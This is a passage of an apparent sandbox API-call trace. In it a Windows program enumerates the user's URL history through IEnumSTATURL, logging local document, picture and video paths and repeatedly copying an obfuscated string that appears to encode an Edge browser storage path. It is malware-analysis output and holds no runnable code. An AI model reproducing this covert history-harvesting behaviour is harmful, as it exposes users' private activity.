6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.955] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/y9c56JojY.pdf") returned 88 [0056.955] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/y9c56JojY.pdf") returned 88 [0056.955] CoTaskMemFree (pv=0x2d2ef8) [0056.955] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.955] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/GA%20JMw77e8oNU-n.png", lpSrch="?") returned 0x0 [0056.955] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.955] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.955] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.955] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/GA%20JMw77e8oNU-n.png") returned 76 [0056.955] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/GA%20JMw77e8oNU-n.png") returned 76 [0056.956] CoTaskMemFree (pv=0x2ff5c0) [0056.956] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.956] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/d6HBqDQRMq.mkv", lpSrch="?") returned 0x0 [0056.956] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.956] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.956] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.956] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/d6HBqDQRMq.mkv") returned 73 [0056.956] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/d6HBqDQRMq.mkv") returned 73 [0056.956] CoTaskMemFree (pv=0x2e61f8) [0056.956] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.956] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/hFkyaUDkmRi%20MKftN6.gif", lpSrch="?") returned 0x0 [0056.956] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.956] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.956] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.956] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/hFkyaUDkmRi%20MKftN6.gif") returned 79 [0056.956] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/hFkyaUDkmRi%20MKftN6.gif") returned 79 [0056.956] CoTaskMemFree (pv=0x2ff7b8) [0056.956] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.957] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/J1SwBT78kuBb8NnH-ee.pps", lpSrch="?") returned 0x0 [0056.957] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.957] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.957] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.957] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/J1SwBT78kuBb8NnH-ee.pps") returned 109 [0056.957] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/J1SwBT78kuBb8NnH-ee.pps") returned 109 [0056.957] CoTaskMemFree (pv=0x2f9190) [0056.957] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.957] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/bCh6U-uL.jpg", lpSrch="?") returned 0x0 [0056.957] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.957] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.957] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.957] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/bCh6U-uL.jpg") returned 54 [0056.957] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/bCh6U-uL.jpg") returned 54 [0056.957] CoTaskMemFree (pv=0x2f6e80) [0056.957] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.957] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/Z517SuiN6.docx", lpSrch="?") returned 0x0 [0056.957] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.957] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.957] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.957] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/Z517SuiN6.docx") returned 78 [0056.958] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/Z517SuiN6.docx") returned 78 [0056.958] CoTaskMemFree (pv=0x2ff9b0) [0056.958] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.958] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/QDxUwWleiuqwe1.mkv", lpSrch="?") returned 0x0 [0056.958] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.958] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.958] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.958] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/QDxUwWleiuqwe1.mkv") returned 103 [0056.958] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/QDxUwWleiuqwe1.mkv") returned 103 [0056.958] CoTaskMemFree (pv=0x2f4548) [0056.958] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.958] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/1AuteqdBfZ5_r_d4hu.pdf", lpSrch="?") returned 0x0 [0056.958] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.958] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.958] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.958] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/1AuteqdBfZ5_r_d4hu.pdf") returned 72 [0056.958] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/1AuteqdBfZ5_r_d4hu.pdf") returned 72 [0056.959] CoTaskMemFree (pv=0x2e61f8) [0056.959] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.959] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/WyJQfXPRvA/DHgnlVpZ3lvPkDQ.xlsx", lpSrch="?") returned 0x0 [0056.959] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.959] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.959] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.959] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/WyJQfXPRvA/DHgnlVpZ3lvPkDQ.xlsx") returned 75 [0056.959] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/WyJQfXPRvA/DHgnlVpZ3lvPkDQ.xlsx") returned 75 [0056.959] CoTaskMemFree (pv=0x2e6ab8) [0056.959] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.959] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/k8jrtDj9LyfwcfMd.png", lpSrch="?") returned 0x0 [0056.959] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.959] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.959] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.959] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/k8jrtDj9LyfwcfMd.png") returned 75 [0056.959] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/k8jrtDj9LyfwcfMd.png") returned 75 [0056.959] CoTaskMemFree (pv=0x2e6c98) [0056.959] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.960] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/SdI5ZiIGaunc3Jf-.flv", lpSrch="?") returned 0x0 [0056.960] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.960] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.960] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.960] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/SdI5ZiIGaunc3Jf-.flv") returned 61 [0056.960] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/SdI5ZiIGaunc3Jf-.flv") returned 61 [0056.960] CoTaskMemFree (pv=0x2f6888) [0056.960] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.960] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/QXWTW5henjq45siD.xlsx", lpSrch="?") returned 0x0 [0056.960] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.960] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.960] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 